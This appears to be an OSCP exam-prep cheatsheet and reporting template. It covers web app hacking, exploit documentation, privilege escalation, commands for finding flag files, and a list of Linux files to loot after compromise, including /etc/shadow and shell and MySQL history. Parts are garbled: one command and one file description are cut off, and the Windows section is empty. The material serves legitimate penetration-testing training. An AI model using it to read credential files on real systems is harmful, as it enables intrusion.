80/8080 - HTTP/S

Web application hacking is crucial to the OSCP challenge and the short cheatsheet should be able
to assist with identifying the most common vulnerabilities. It is important to note that
understanding the application/functions within the web application is paramount to success. Use
the source viewer, BURP/ZAP to understand how information flows. Identify plugin versions/code
versions and look for vulnerabilities. Always revert back to the core of the function, how does it
work and operate.
Command

Exploitation
If you’ve performed proper enumeration you should be able to find exploits using searchsploit and
exploitdb. 

If you have modified an exploit, you should include:

 The modified exploit code
 The URL to the original exploit code
 The command used to generate any shellcode (if applicable)
 Highlighted changes you have made
 An explanation of why those changes were made
I have provided a template I use for exploits during the exam and labs.

follow the template for exploit if you use any exploit. Train yourself in the habit of documenting
your steps.

Dump
Use this to dump all the results for your priv escalation.

Local
Document the steps used to escalate to local access. Most instances you will be escalating to
Root/Admin and not another local user.
Root/Admin
Document the steps used to escalate to root access. For exploits make use of the exploit template.

Flags
. Proof.txt
. ifconfig/ipconfig
. whoami/id

The below commands will list all .txt files to identify the flags. Used in several CTFs and useful for
the OSCP challenge.
Windows Linux

(for /R ".\" %A in (*.txt) do echo %~fA %~zA) | findstr /v "echo “ind . -type f -name "*.txt"

Each local.txt and proof.txt found must be shown in a screenshot that includes the contents of the
file, as well as the IP address of the target by using ipconfig or ifconfig. An example of this is shown
below:
Proof
Paste your proof here.

Post Exploitation
Use this for the labs. Note that the machines in the exam is not connected and I could only advise
to spend more time on enumeration and exploitation than post exploitation.

Linux
File Description

/etc/resolv.conf  Contains the current name servers (DNS) for the system. This is a globally
to trigger IDS alerts than /etc/passwd 

/etc/motd  Message of the Day. 

 /etc/issue  Debian - current version of distro 

/etc/passwd  List of local users 

/etc/shadow  List of users’ passwords’ hashes (requires root) 

~/.bash_history[d]  Will give you some directory context 

~/.mysql_history  MySQL database history - could have passwords

Windows
